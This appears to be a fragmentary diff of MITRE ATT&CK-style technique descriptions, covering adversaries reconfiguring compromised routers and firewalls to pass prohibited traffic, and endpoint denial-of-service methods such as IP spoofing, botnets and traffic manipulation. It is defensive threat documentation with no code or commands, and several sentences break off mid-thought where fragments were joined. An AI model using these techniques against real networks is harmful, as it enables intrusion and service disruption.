+ these devices may enable an adversary to bypass restrictions on traffic routing
+ that otherwise separate trusted and untrusted networks.
+
+
+ Devices such as routers and firewalls can be used to create boundaries between
+ trusted and untrusted networks. They achieve this by restricting traffic types
+ to enforce organizational policy in an attempt to reduce the risk inherent in
+ such connections. Restriction of traffic can be achieved by prohibiting IP
+ addresses, layer 4 protocol ports, or through deep packet inspection to identify
+ applications. To participate with the rest of the network, these devices can
+ be directly addressable or transparent, but their mode of operation has no bearing
+ on how the adversary can bypass them when compromised.
+
+
+ When an adversary takes control of such a boundary device, they can bypass its
+ policy enforcement to pass normally prohibited traffic across the trust boundary
+ between the two separated networks without hinderance. By achieving sufficient
+ rights on the device, an adversary can reconfigure the device to allow the traffic
+ they want, allowing them to then further achieve goals such as command and control
+ via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration

+ and extortion.(Citation: Symantec DDoS October 2014)
+
+
+ An Endpoint DoS denies the availability of a service without saturating the
+ network used to provide access to the service. Adversaries can target various
+ layers of the application stack that is hosted on the system used to provide
+ the service. These layers include the Operating Systems (OS), server applications
+ such as web servers, DNS servers, databases, and the (typically web-based) applications
+ that sit on top of them. Attacking each layer requires different techniques

+ A DoS attack may be generated by a single system or multiple systems spread
+ across the internet, which is commonly referred to as a distributed DoS (DDoS).
+
+
+ To perform DoS attacks against endpoint resources, several aspects apply to
+ multiple methods, including IP address spoofing and botnets.
+
+
+ Adversaries may use the original IP address of an attacking system, or spoof
+ the source IP address to make the attack traffic more difficult to trace back
+ to the attacking system or to enable reflection. This can increase the difficulty
+ defenders have in defending against the attack by reducing or eliminating the
+ effectiveness of filtering by the source address on network defense devices.
+
+
+ Botnets are commonly used to conduct DDoS attacks against networks and services.
+ Large botnets can generate a significant amount of traffic from systems spread
+ across the global internet. Adversaries may have the resources to build out
+ and control their own botnet infrastructure or may rent time on an existing
+ botnet to conduct an attack. In some of the worst cases for DDoS, so many systems
+ are used to generate requests that each one only needs to send out a small amount
+ of traffic to produce enough volume to exhaust the target''s resources. In such
+ circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly
+ difficult. Botnets have been used in some of the most high-profile DDoS attacks,
+ such as the 2012 series of incidents that targeted major US banks.(Citation:
+ USNYAG IranianBotnet March 2016)
+
+
+ In cases where traffic manipulation is used, there may be points in the global
+ network (such as high traffic gateway routers) where packets can be altered
+ and cause legitimate clients to execute code that directs network packets toward
+ a target in high volume. This type of capability was previously used for the
+ purposes of web censorship where client HTTP traffic was modified to include
